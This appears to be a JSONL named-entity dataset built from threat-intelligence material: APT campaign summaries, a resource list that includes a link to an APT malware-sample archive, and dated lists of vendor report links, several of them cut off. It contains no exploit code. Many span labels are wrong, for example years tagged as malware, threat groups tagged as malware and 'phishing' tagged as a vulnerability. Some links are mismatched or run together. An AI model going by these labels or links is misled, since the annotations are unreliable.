+{"text": "The Salesforce Data Exfiltration campaign began in October 2024 with financially-motivated threat actor UNC6040 using Spearphishing Voice (vishing) to compromise corporate Salesforce instances for large-scale data theft and extortion. Following the initial data theft, victim organizations received extortion demands from a separate threat actor, UNC6240, who claimed to be the “ShinyHunters” group. The observed infrastructure and TTPs used during the Salesforce Data Exfiltration campaign overlap with those used by threat groups with suspected ties to the broader collective known as \"The Com.” These overlaps could plausibly be the result of associated actors operating within the same communities and are not necessarily an indication of a direct operational relationship.", "spans": {"THREAT_ACTOR: Salesforce Data Exfiltration": [[4, 32], [453, 481]], "THREAT_ACTOR: UNC6040": [[104, 111]], "THREAT_ACTOR: ShinyHunters": [[379, 391]], "SYSTEM: Salesforce": [[4, 14], [172, 182], [453, 463]]}, "info": {"source": "apt_reports", "name": "Salesforce Data Exfiltration"}}
+{"text": "The SharePoint ToolShell Exploitation campaign was conducted in July 2025 and encompassed the first waves of exploitation against incompletely patched spoofing (CVE-2025-49706) and remote code execution (CVE-2025-49704) vulnerabilities affecting on-premises Microsoft SharePoint servers. Later patched and updated as CVE-2025-53770 and CVE-2025-53771, the ToolShell vulnerabilities were widely exploited including by China-based ransomware actor Storm-2603 and espionage actors Threat Group-3390 and ZIRCONIUM. SharePoint ToolShell Exploitation targeted multiple regions and industries including finance, education, energy, and healthcare across Asia, Europe, and the United States.", "spans": {"CVE_ID: CVE-2025-49706": [[161, 175]], "CVE_ID: CVE-2025-49704": [[204, 218]], "CVE_ID: CVE-2025-53770": [[317, 331]], "CVE_ID: CVE-2025-53771": [[336, 350]], "THREAT_ACTOR: SharePoint ToolShell Exploitation": [[4, 37], [511, 544]], "THREAT_ACTOR: Storm-2603": [[446, 456]], "SYSTEM: SharePoint": [[4, 14], [268, 278], [511, 521]], "SYSTEM: Microsoft SharePoint": [[258, 278]], "ORGANIZATION: Microsoft": [[258, 267]], "VULNERABILITY: code execution": [[188, 202]], "VULNERABILITY: remote code execution": [[181, 202]], "MALWARE: ZIRCONIUM": [[500, 509]], "MALWARE: Threat Group-3390": [[478, 495]]}, "info": {"source": "apt_reports", "name": "SharePoint ToolShell Exploitation"}}
+{"text": "C0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).", "spans": {"THREAT_ACTOR: C0017": [[0, 5], [227, 232], [435, 440]], "THREAT_ACTOR: APT41": [[13, 18], [234, 239], [462, 467]], "VULNERABILITY: zero-day": [[297, 305]]}, "info": {"source": "apt_reports", "name": "C0017"}}
+{"text": "Operation Spalax was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The Operation Spalax threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to APT-C-36, however identified enough differences to report this as separate, unattributed activity.", "spans": {"THREAT_ACTOR: Operation Spalax": [[0, 16], [194, 210]], "THREAT_ACTOR: APT-C-36": [[534, 542]], "VULNERABILITY: phishing": [[279, 287]]}, "info": {"source": "apt_reports", "name": "Operation Spalax"}}
+{"text": "Operation Sharpshooter was a global cyber espionage campaign that targeted nuclear, defense, government, energy, and financial companies, with many located in Germany, Turkey, the United Kingdom, and the United States. Security researchers noted the campaign shared many similarities with previous Lazarus Group operations, including fake job recruitment lures and shared malware code.", "spans": {"THREAT_ACTOR: Operation Sharpshooter": [[0, 22]], "THREAT_ACTOR: Lazarus Group": [[298, 311]], "MALWARE: Sharpshooter": [[10, 22]]}, "info": {"source": "apt_reports", "name": "Operation Sharpshooter"}}
+{"text": "Cutting Edge was a campaign conducted by suspected China-nexus espionage actors, variously identified as UNC5221/UTA0178 and UNC5325, that began as early as December 2023 with the exploitation of zero-day vulnerabilities in Ivanti Connect Secure (previously Pulse Secure) VPN appliances. Cutting Edge targeted the U.S. defense industrial base and multiple sectors globally including  telecommunications, financial, aerospace, and technology. Cutting Edge featured the use of defense evasion and living-off-the-land (LoTL) techniques along with the deployment of web shells and other custom malware.", "spans": {"THREAT_ACTOR: Cutting Edge": [[0, 12], [288, 300], [442, 454]], "THREAT_ACTOR: UNC5325": [[125, 132]], "THREAT_ACTOR: UTA0178": [[113, 120]], "SYSTEM: Edge": [[8, 12], [296, 300], [450, 454]], "SYSTEM: Pulse Secure": [[258, 270]], "SYSTEM: Ivanti": [[224, 230]], "SYSTEM: VPN": [[272, 275]], "VULNERABILITY: living-off-the-land": [[495, 514]], "VULNERABILITY: zero-day": [[196, 204]]}, "info": {"source": "apt_reports", "name": "Cutting Edge"}}
+{"text": "The 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.", "spans": {"THREAT_ACTOR: 2022 Ukraine Electric Power Attack": [[4, 38]], "THREAT_ACTOR: Sandworm": [[45, 53]], "MALWARE: Sandworm Team": [[45, 58]], "MALWARE: CaddyWiper": [[118, 128]]}, "info": {"source": "apt_reports", "name": "2022 Ukraine Electric Power Attack"}}
+{"text": "The 3CX Supply Chain Attack was the first publicly reported case of one supply chain compromise triggering another, leading to a cascading, two-stage intrusion. The initial supply chain attack began when a 3CX employee downloaded and executed a trojanized, end-of-life version of the X_Trader trading software from Trading Technologies. This provided UNC4736, a threat cluster associated with AppleJeus, access to the 3CX environment. From there UNC4736 compromised the Windows and macOS build environments used to distribute the 3CX desktop application to their customers. While 3CX serves more than 600,000 customers and 12 million users, only a subset of systems were affected. Subsequent targeting focused on victims in the defense and cryptocurrency sectors, where attackers deployed secondary payloads such as Gopuram for credential theft and persistence. The campaign began in late 2022 and was disrupted after security vendors publicly reported the compromise in March 2023.", "spans": {"THREAT_ACTOR: 3CX Supply Chain Attack": [[4, 27]], "THREAT_ACTOR: UNC4736": [[351, 358], [446, 453]], "SYSTEM: macOS": [[482, 487]], "SYSTEM: Windows": [[470, 477]], "VULNERABILITY: supply chain compromise": [[72, 95]], "VULNERABILITY: credential theft": [[828, 844]], "VULNERABILITY: supply chain attack": [[173, 192]], "MALWARE: AppleJeus": [[393, 402]]}, "info": {"source": "apt_reports", "name": "3CX Supply Chain Attack"}}
+{"text": "C0011 was a suspected cyber espionage campaign conducted by Transparent Tribe that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from Transparent Tribe's historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.", "spans": {"THREAT_ACTOR: C0011": [[0, 5]], "MALWARE: Transparent Tribe": [[60, 77], [227, 244]]}, "info": {"source": "apt_reports", "name": "C0011"}}
+{"text": "The J-magic Campaign was active from mid-2023 to at least mid-2024 and featured the use of the J-magic backdoor, a custom cd00r variant tailored for use against Juniper routers. The J-magic Campaign targeted Junos OS routers serving as VPN gateways primarily in the semiconductor, energy, manufacturing, and IT sectors.", "spans": {"THREAT_ACTOR: J-magic Campaign": [[4, 20], [182, 198]], "SYSTEM: Juniper": [[161, 168]], "SYSTEM: VPN": [[236, 239]], "MALWARE: cd00r": [[122, 127]], "MALWARE: J-magic": [[4, 11], [95, 102], [182, 189]]}, "info": {"source": "apt_reports", "name": "J-magic Campaign"}}
+{"text": "Triton Safety Instrumented System Attack was a campaign employed by TEMP.Veles which leveraged the Triton malware framework against a petrochemical organization. The malware and techniques used within this campaign targeted specific Triconex Safety Controllers within the environment. The incident was eventually discovered due to a safety trip that occurred as a result of an issue in the malware.", "spans": {"THREAT_ACTOR: Triton Safety Instrumented System Attack": [[0, 40]], "THREAT_ACTOR: TEMP.Veles": [[68, 78]], "MALWARE: Triton": [[0, 6], [99, 105]]}, "info": {"source": "apt_reports", "name": "Triton Safety Instrumented System Attack"}}
+{"text": "FrostyGoop Incident took place in January 2024 against a municipal district heating company in Ukraine. Following initial access via likely exploitation of external facing services, FrostyGoop was used to manipulate ENCO control systems via legitimate Modbus commands to impact the delivery of heating services to Ukrainian civilians.", "spans": {"THREAT_ACTOR: FrostyGoop Incident": [[0, 19]]}, "info": {"source": "apt_reports", "name": "FrostyGoop Incident"}}
+{"text": "KV Botnet Activity consisted of exploitation of primarily “end-of-life” small office-home office (SOHO) equipment from manufacturers such as Cisco, NETGEAR, and DrayTek. KV Botnet Activity was used by Volt Typhoon to obfuscate connectivity to victims in multiple critical infrastructure segments, including energy and telecommunication companies and entities based on the US territory of Guam. While the KV Botnet is the most prominent element of this campaign, it overlaps with another botnet cluster referred to as the JDY cluster. This botnet was disrupted by US law enforcement entities in early 2024 after periods of activity from October 2022 through January 2024.", "spans": {"THREAT_ACTOR: KV Botnet Activity": [[0, 18], [170, 188]], "THREAT_ACTOR: Volt Typhoon": [[201, 213]], "SYSTEM: NETGEAR": [[148, 155]], "SYSTEM: Cisco": [[141, 146]]}, "info": {"source": "apt_reports", "name": "KV Botnet Activity"}}
+{"text": "C0026 was a campaign identified in September 2022 that included the selective distribution of KOPILUWAK and QUIETCANARY malware to previous ANDROMEDA malware victims in Ukraine through re-registered ANDROMEDA C2 domains. Several tools and tactics used during C0026 were consistent with historic Turla operations.", "spans": {"THREAT_ACTOR: C0026": [[0, 5], [259, 264]], "THREAT_ACTOR: Turla": [[295, 300]], "MALWARE: ANDROMEDA": [[140, 149], [199, 208]], "MALWARE: QUIETCANARY": [[108, 119]], "MALWARE: KOPILUWAK": [[94, 103]]}, "info": {"source": "apt_reports", "name": "C0026"}}
+{"text": "SPACEHOP Activity is conducted through commercially leased Virtual Private Servers (VPS), otherwise known as provisioned Operational Relay Box (ORB) networks. The network leveraged for SPACEHOP Activity enabled China-nexus cyber threat actors – such as APT5 and Ke3chang – to perform network reconnaissance scanning and vulnerability exploitation. SPACEHOP Activity has historically targeted entities in North America, Europe, and the Middle East.", "spans": {"THREAT_ACTOR: SPACEHOP Activity": [[0, 17], [185, 202], [348, 365]], "THREAT_ACTOR: APT5": [[253, 257]], "MALWARE: Ke3chang": [[262, 270]]}, "info": {"source": "apt_reports", "name": "SPACEHOP Activity"}}
+{"text": "Pikabot was distributed in Pikabot Distribution February 2024 using malicious emails with embedded links leading to malicious ZIP archives requiring user interaction for follow-on infection. The version of Pikabot distributed featured significant changes over the 2023 variant, including reduced code complexity and simplified obfuscation mechanisms.", "spans": {"THREAT_ACTOR: Pikabot Distribution February 2024": [[27, 61]], "MALWARE: Pikabot": [[0, 7], [27, 34], [206, 213]]}, "info": {"source": "apt_reports", "name": "Pikabot Distribution February 2024"}}
+{"text": "C0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.", "spans": {"THREAT_ACTOR: C0033": [[0, 5], [91, 96]], "THREAT_ACTOR: PROMETHIUM": [[12, 22], [151, 161]], "THREAT_ACTOR: StrongPity": [[55, 65]], "SYSTEM: Android": [[76, 83]], "SYSTEM: Windows": [[183, 190]]}, "info": {"source": "apt_reports", "name": "C0033"}}
+{"text": "* Print Friendly & PDF", "spans": {}, "info": {"source": "apt_reports", "name": "URL to PDF Tool"}}
+{"text": ":small_blue_diamond: kbandla <br>\n:small_blue_diamond: APTnotes <br>\n:small_blue_diamond: Florian Roth - APT Groups <br>\n:small_blue_diamond: Attack Wiki <br>\n:small_blue_diamond: threat-INTel <br>\n:small_blue_diamond: targetedthreats <br>\n:small_blue_diamond: Raw Threat Intelligence <br>\n:small_blue_diamond: APT search <br>\n:small_blue_diamond: APT Sample by 0xffff0800 (https://iec56w4ibovnb4wc.onion.si/) <br>\n:small_blue_diamond: APT Map <br>\n:small_blue_diamond: sapphirex00 - Threat-Hunting <br>\n:small_blue_diamond: APTSimulator <br>\n:small_blue_diamond: MITRE Att&CK: Group <br>\n:small_blue_diamond: APT_REPORT collected by @blackorbird <br>\n:small_blue_diamond: Analysis of malware and Cyber Threat Intel of APT and cybercriminals groups <br>\n:small_blue_diamond: APT_Digital_Weapon <br>\n:small_blue_diamond: vx-underground <br>\n:small_blue_diamond: StrangerealIntel-EternalLiberty  <br>", "spans": {"URL: https://iec56w4ibovnb4wc.onion.si/": [[374, 408]], "ORGANIZATION: Intel": [[710, 715]], "ORGANIZATION: MITRE": [[564, 569]]}, "info": {"source": "apt_reports", "name": "Reference Resources"}}
+{"text": "* July 19 - [[Google] APT41 Has Arisen From the DUST](https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust) | :closed_book:\n* July 15 - [[CheckPoint] New BugSleep Backdoor Deployed in Recent MuddyWater Campaigns](https://research.checkpoint.com/2024/new-bugsleep-backdoor-deployed-in-recent-muddywater-campaigns/) | :closed_book:\n* July 10 - [[Zscaler] A deep dive into the updated arsenal of APT41 ](https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1) | :closed_book:\n* Jun 24 - [[Recorded Future] Chinese State-Sponsored RedJuliett Intensifies Taiwanese Cyber Espionage via Network Perimeter Exploitation](https://www.recordedfuture.com/redjuliett-intensifies-taiwanese-cyber-espionage-via-network-perimeter) | :closed_book:\n* Jun 21 - [[CISCO] SneakyChef espionage group targets government agencies with SugarGh0st and more infection techniques](https://blog.talosintelligence.com/sneakychef-sugarghost-rat/) | :closed_book:\n* Jun 16 - [[Sygnia] China-Nexus Threat Group ‘Velvet Ant’ Abuses F5 Load Balancers for Persistence](https://blog.talosintelligence.com/sneakychef-sugarghost-rat/) | :closed_book:\n* Jun 13 - [[ESET] Arid Viper poisons Android apps with AridSpy](https://www.welivesecurity.com/en/eset-research/arid-viper-poisons-android-apps-with-aridspy/) | :closed_book:\n* Jun 10 - [[BlackBerry] Kimsuky is targeting an arms manufacturer in Europe](https://www.linkedin.com/pulse/kimsuky-targeting-arms-manufacturer-europe-dmitry-melikov-dquge/) | :closed_book:\n* May 23 - [[Palo Alto Networks] Operation Diplomatic Specter: An Active Chinese Cyberespionage Campaign Leverages Rare Tool Set to Target Governmental Entities in the Middle East, Africa and Asia ](https://unit42.paloaltonetworks.com/operation-diplomatic-specter/) | :closed_book:\n* May 16 - [[Palo Alto Networks] Payload Trends in Malicious OneNote Samples](https://unit42.paloaltonetworks.com/payloads-in-malicious-onenote-samples/) | :closed_book:\n* Mar 07 - [[ESET] Evasive Panda leverages Monlam Festival to target Tibetans](https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/) | :closed_book:\n* Feb 27 - [[Mandiant] When Cats Fly", "spans": {"URL: https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust": [[54, 133]], "URL: https://research.checkpoint.com/2024/new-bugsleep-backdoor-deployed-in-recent-muddywater-campaigns/": [[240, 339]], "URL: https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1": [[428, 523]], "URL: https://www.recordedfuture.com/redjuliett-intensifies-taiwanese-cyber-espionage-via-network-perimeter": [[680, 781]], "URL: https://blog.talosintelligence.com/sneakychef-sugarghost-rat/": [[921, 982], [1101, 1162]], "URL: https://www.welivesecurity.com/en/eset-research/arid-viper-poisons-android-apps-with-aridspy/": [[1245, 1338]], "URL: https://www.linkedin.com/pulse/kimsuky-targeting-arms-manufacturer-europe-dmitry-melikov-dquge/": [[1434, 1529]], "URL: https://unit42.paloaltonetworks.com/operation-diplomatic-specter/": [[1746, 1811]], "URL: https://unit42.paloaltonetworks.com/payloads-in-malicious-onenote-samples/": [[1907, 1981]], "URL: https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/": [[2078, 2182]], "MALWARE: 2024": [[272, 276]], "THREAT_ACTOR: RedJuliett": [[595, 605]], "THREAT_ACTOR: APT41": [[22, 27], [420, 425]], "THREAT_ACTOR: SneakyChef": [[819, 829]], "THREAT_ACTOR: Kimsuky": [[1381, 1388]], "THREAT_ACTOR: MuddyWater": [[218, 228]], "THREAT_ACTOR: Evasive Panda": [[2018, 2031]], "SYSTEM: Palo Alto": [[1560, 1569], [1842, 1851]], "SYSTEM: Android": [[1218, 1225]], "SYSTEM: ESET": [[1193, 1197], [2012, 2016]], "ORGANIZATION: Palo Alto Networks": [[1560, 1578], [1842, 1860]], "ORGANIZATION: Mandiant": [[2213, 2221]], "ORGANIZATION: BlackBerry": [[1369, 1379]], "ORGANIZATION: Zscaler": [[371, 378]], "ORGANIZATION: Recorded Future": [[554, 569]], "ORGANIZATION: Google": [[14, 20]], "MALWARE: Velvet Ant": [[1047, 1057]]}, "info": {"source": "apt_reports", "name": "2024"}}
+{"text": "* Dec 27 - [[Kaspersky] Operation Triangulation: The last (hardware) mystery](https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/) | :closed_book:\n* Dec 21 - [[CISCO] Intellexa and Cytrox: From fixer-upper to Intel Agency-grade spyware](https://blog.talosintelligence.com/intellexa-and-cytrox-intel-agency-grade-spyware/) | :closed_book:\n* Dec 19 - [[Symantec] Seedworm: Iranian Hackers Target Telecoms Orgs in North and East Africa](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms) | :closed_book:\n* Nov 30 - [[CISCO] New SugarGh0st RAT targets Uzbekistan government and South Korea](https://blog.talosintelligence.com/new-sugargh0st-rat/) | :closed_book:\n* Nov 27 - [[Intezer] WildCard: The APT Behind SysJoker Targets Critical Sectors in Israel](https://blog.talosintelligence.com/new-sugargh0st-rat/https://intezer.com/blog/research/wildcard-evolution-of-sysjoker-cyber-threat/) | :closed_book:\n* Nov 23 - [[CheckPoint] ISRAEL-HAMAS WAR SPOTLIGHT: SHAKING THE RUST OFF SYSJOKER](https://research.checkpoint.com/2023/israel-hamas-war-spotlight-shaking-the-rust-off-sysjoker/) | :closed_book:\n* Nov 14 - [[HKUK] APT29 attacks Embassies using CVE-2023-38831](https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf) | :closed_book:\n* Nov 09 - [[Kaspersky] Modern Asian APT groups’ tactics, techniques and procedures (TTPs)](https://securelist.com/modern-asia-apt-groups-ttp/111009/) | :closed_book:\n* Nov 07 - [[Palo Alto Networks] Chinese APT Targeting Cambodian Government](https://unit42.paloaltonetworks.com/chinese-apt-linked-to-cambodia-government-attacks/) | :closed_book:\n* Nov 06 - [[Palo Alto Networks] Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors](https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/) | :closed_book:\n* Oct 31 - [[CheckPoint] FROM ALBANIA TO THE MIDDLE EAST: THE SCARRED MANTICORE IS LISTENING](https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/) | :closed_book:\n* Oct 26 - [[Kaspersky] StripedFly: Perennially flying under the radar](https://securelist.com/stripedfly-perennially-flying-under-the-radar/110903/) | [:closed_book:](../../blob/mas", "spans": {"CVE_ID: CVE-2023-38831": [[1232, 1246], [1347, 1361]], "URL: https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/": [[78, 158]], "URL: https://blog.talosintelligence.com/intellexa-and-cytrox-intel-agency-grade-spyware/": [[266, 349]], "URL: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms": [[463, 569]], "URL: https://blog.talosintelligence.com/new-sugargh0st-rat/": [[673, 727]], "URL: https://blog.talosintelligence.com/new-sugargh0st-rat/https://intezer.com/blog/research/wildcard-evolution-of-sysjoker-cyber-threat/": [[837, 969]], "URL: https://research.checkpoint.com/2023/israel-hamas-war-spotlight-shaking-the-rust-off-sysjoker/": [[1071, 1165]], "URL: https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf": [[1248, 1383]], "URL: https://securelist.com/modern-asia-apt-groups-ttp/111009/": [[1493, 1550]], "URL: https://unit42.paloaltonetworks.com/chinese-apt-linked-to-cambodia-government-attacks/": [[1645, 1731]], "URL: https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/": [[1870, 1963]], "URL: https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/": [[2075, 2179]], "URL: https://securelist.com/stripedfly-perennially-flying-under-the-radar/110903/": [[2269, 2345]], "MALWARE: 2023": [[1103, 1107], [1236, 1240], [1351, 1355], [2107, 2111]], "THREAT_ACTOR: WildCard": [[767, 775]], "THREAT_ACTOR: Operation Triangulation": [[24, 47]], "THREAT_ACTOR: APT29": [[1202, 1207], [1309, 1314]], "SYSTEM: Kaspersky": [[13, 22], [1414, 1423], [2210, 2219]], "SYSTEM: Symantec": [[380, 388]], "SYSTEM: Palo Alto": [[1581, 1590], [1762, 1771]], "ORGANIZATION: Intezer": [[758, 765]], "ORGANIZATION: Palo Alto Networks": [[1581, 1599], [1762, 1780]], "ORGANIZATION: Intel": [[238, 243]], "MALWARE: SysJoker": [[792, 800]], "MALWARE: Agrius": [[1805, 1811]]}, "info": {"source": "apt_reports", "name": "2023"}}
+{"text": "* Dec 07 - [[Google] Internet Explorer 0-day exploited by North Korean actor APT37](https://blog.google/threat-analysis-group/internet-explorer-0-day-exploited-by-north-korean-actor-apt37/) | :closed_book:\n* Dec 06 - [[BlackBerry] Mustang Panda Uses the Russian-Ukrainian War to Attack Europe and Asia Pacific Targets](https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets) | :closed_book:\n* Dec 05 - [[Recorded Future] Exposing TAG-53’s Credential Harvesting Infrastructure Used for Russia-Aligned Espionage Operations](https://www.recordedfuture.com/exposing-tag-53-credential-harvesting-infrastructure-for-russia-aligned-espionage-operations) | :closed_book:\n* Dec 02 - [[Palo Alto Networks] Blowing Cobalt Strike Out of the Water With Memory Analysis](https://unit42.paloaltonetworks.com/cobalt-strike-memory-analysis/) | :closed_book:\n* Nov 03 - [[Zscaler] APT-36 Uses New TTPs and New Tools to Target Indian Governmental Organizations](https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations) | :closed_book:\n* Nov 02 - [[BlackBerry] RomCom Threat Actor Abuses KeePass and SolarWinds to Target Ukraine and Potentially the United Kingdom](https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass) | :closed_book:\n* Oct 06 - [[BlackBerry] Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims](https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims) | :closed_book:\n* Oct 04 - [[Trend Micro] The Rise of Earth Aughisky](https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/connecting-taidoors-dots-earth-aughisky-over-the-last-10-years) | :closed_book:\n* Sep 28 - [[NSOGroup] Exploit-archaeology-a-forensic-history-of-in-the-wild](https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Exploit-archaeology-a-forensic-history-of-in-the-wild-NSO-Group-exploits.pdf) | :closed_book:\n* Sep 28 - [[Recorded Future] The Chinese Communist Party’s Strategy for Targeted Propaganda](https://go.recordedfuture.com/hubfs/reports/ta-2022-0928.pdf) | :closed_book:\n* Sep 08 - [[Secureworks] BRONZE PRESIDENT Targets Government Officials](https://www.secureworks.com/blog/bronze-president-targets-government-officials) | [:closed_book:](../../blob/master/2022/2022.09.08.BRONZE_PRESID", "spans": {"URL: https://blog.google/threat-analysis-group/internet-explorer-0-day-exploited-by-north-korean-actor-apt37/": [[84, 188]], "URL: https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets": [[319, 445]], "URL: https://www.recordedfuture.com/exposing-tag-53-credential-harvesting-infrastructure-for-russia-aligned-espionage-operations": [[594, 717]], "URL: https://unit42.paloaltonetworks.com/cobalt-strike-memory-analysis/": [[829, 895]], "URL: https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations": [[1015, 1138]], "URL: https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass": [[1285, 1359]], "URL: https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims": [[1472, 1580]], "URL: https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/connecting-taidoors-dots-earth-aughisky-over-the-last-10-years": [[1652, 1795]], "URL: https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Exploit-archaeology-a-forensic-history-of-in-the-wild-NSO-Group-exploits.pdf": [[1891, 2041]], "URL: https://go.recordedfuture.com/hubfs/reports/ta-2022-0928.pdf": [[2153, 2213]], "URL: https://www.secureworks.com/blog/bronze-president-targets-government-officials": [[2304, 2382]], "MALWARE: 2022": [[351, 355], [1317, 1321], [1504, 1508], [2200, 2204], [2420, 2424], [2425, 2429]], "THREAT_ACTOR: APT37": [[77, 82]], "THREAT_ACTOR: Cobalt": [[776, 782]], "THREAT_ACTOR: Mustang Panda": [[231, 244], [1402, 1415]], "THREAT_ACTOR: RomCom": [[1181, 1187]], "TOOL: Cobalt Strike": [[776, 789]], "SYSTEM: SolarWinds": [[1220, 1230]], "SYSTEM: Palo Alto": [[748, 757]], "SYSTEM: Trend Micro": [[1611, 1622]], "SYSTEM: Internet Explorer": [[21, 38]], "ORGANIZATION: Palo Alto Networks": [[748, 766]], "ORGANIZATION: BlackBerry": [[219, 229], [1169, 1179], [1390, 1400]], "ORGANIZATION: Zscaler": [[926, 933]], "ORGANIZATION: Recorded Future": [[476, 491], [2072, 2087]], "ORGANIZATION: Secureworks": [[2244, 2255]], "ORGANIZATION: Google": [[13, 19]], "VULNERABILITY: 0-day": [[39, 44], [144, 149]]}, "info": {"source": "apt_reports", "name": "2022"}}
+{"text": "* Dec 29 - [[NTT] Report on APT Attacks by BlackTech](https://jp.security.ntt/resources/EN-BlackTech_2021.pdf) | :closed_book:\n* Dec 16 - [[Zscaler] New DarkHotel APT attack chain identified](https://www.zscaler.com/blogs/security-research/new-darkhotel-apt-attack-chain-identified) | :closed_book:\n* Dec 11 - [[ESET] Jumping the air gap: 15 years of nation-state effort](https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf) | :closed_book:\n* Dec 07 - [[Mandiant] FIN13: A Cybercriminal Threat Actor Focused on Mexico](https://www.mandiant.com/resources/fin13-cybercriminal-mexico) | :closed_book:\n* Dec 03 - [[Pwc] Conti cyber attack on the HSE](https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf) | :closed_book:\n* Nov 29 - [[Trend Micro] Campaign Abusing Legitimate Remote Administrator Tools Uses Fake Cryptocurrency Websites](https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html) | :closed_book: \n* Nov 16 - [[Mandiant] UNC1151 Assessed with High Confidence to have Links to Belarus, Ghostwriter Campaign Aligned with Belarusian Government Interests](https://www.mandiant.com/resources/unc1151-linked-to-belarus-government) | :closed_book:\n* Nov 16 - [[ESET] Strategic web compromises in the Middle East with a pinch of Candiru](https://www.welivesecurity.com/2021/11/16/strategic-web-compromises-middle-east-pinch-candiru/) | :closed_book:\n* Nov 11 - [[Google] Analyzing a watering hole campaign using macOS exploits](https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/) | :closed_book:\n* Nov 10 - [[Trend Micro] Void Balaur: Tracking a Cybermercenary’s Activities](https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf) | :closed_book:\n* Nov 08 - [[NCCGroup] TA505 exploits SolarWinds Serv-U vulnerability (CVE-2021-35211) for initial access](https://research.nccgroup.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/) | :closed_book:\n* Nov 04 - [[SSU] Gamaredon Armageddon Group](https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf) | :closed_book:\n* Oct 19 - [[CrowdStrike] LightBasin: A Roaming Threat to Telecommunications Companies](https://www.crowdstrik", "spans": {"CVE_ID: CVE-2021-35211": [[1933, 1947]], "URL: https://jp.security.ntt/resources/EN-BlackTech_2021.pdf": [[54, 109]], "URL: https://www.zscaler.com/blogs/security-research/new-darkhotel-apt-attack-chain-identified": [[192, 281]], "URL: https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf": [[372, 461]], "URL: https://www.mandiant.com/resources/fin13-cybercriminal-mexico": [[557, 618]], "URL: https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf": [[685, 775]], "URL: https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html": [[909, 1001]], "URL: https://www.mandiant.com/resources/unc1151-linked-to-belarus-government": [[1174, 1245]], "URL: https://www.welivesecurity.com/2021/11/16/strategic-web-compromises-middle-east-pinch-candiru/": [[1352, 1446]], "URL: https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/": [[1542, 1638]], "URL: https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf": [[1735, 1844]], "URL: https://research.nccgroup.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/": [[1969, 2091]], "URL: 